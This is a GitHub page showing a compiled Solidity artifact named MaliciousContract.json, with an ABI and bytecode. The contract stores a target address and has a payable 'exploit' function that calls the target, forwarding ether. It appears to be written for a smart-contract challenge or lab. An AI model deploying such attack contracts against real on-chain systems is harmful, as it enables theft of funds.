-
Notifications
You must be signed in to change notification settings - Fork 0
/
MaliciousContract.json
34 lines (34 loc) · 1.92 KB
/
MaliciousContract.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"contracts": {
"MaliciousContract.sol:MaliciousContract": {
"abi": [
{
"inputs": [
{ "internalType": "address", "name": "_target", "type": "address" }
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "exploit",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "target",
"outputs": [
{ "internalType": "address", "name": "", "type": "address" }
],
"stateMutability": "view",
"type": "function"
},
{ "stateMutability": "payable", "type": "receive" }
],
"bin": "6080604052348015600e575f5ffd5b50604051610227380380610227833981016040819052602b91604e565b5f80546001600160a01b0319166001600160a01b03929092169190911790556079565b5f60208284031215605d575f5ffd5b81516001600160a01b03811681146072575f5ffd5b9392505050565b6101a1806100865f395ff3fe60806040526004361061002b575f3560e01c806363d9b77014610036578063d4b8399214610040575f5ffd5b3661003257005b5f5ffd5b61003e61007a565b005b34801561004b575f5ffd5b505f5461005e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f805460408051600481526024810182526020810180516001600160e01b031663a3e76c0f60e01b179052905164010000000093926001600160a01b031691849134916100c691610155565b5f60405180830381858888f193505050503d805f8114610101576040519150601f19603f3d011682016040523d82523d5f602084013e610106565b606091505b50509050806101515760405162461bcd60e51b8152602060048201526013602482015272115e1c1b1bda5d0810d053130819985a5b1959606a1b604482015260640160405180910390fd5b5050565b5f82518060208501845e5f92019182525091905056fea264697066735822122008296d5e8cfb99f0bff932ab589b01864ba603f10378c924cae7cee3e706b36664736f6c634300081c0033"
}
},
"version": "0.8.28+commit.7893614a.Darwin.appleclang"
}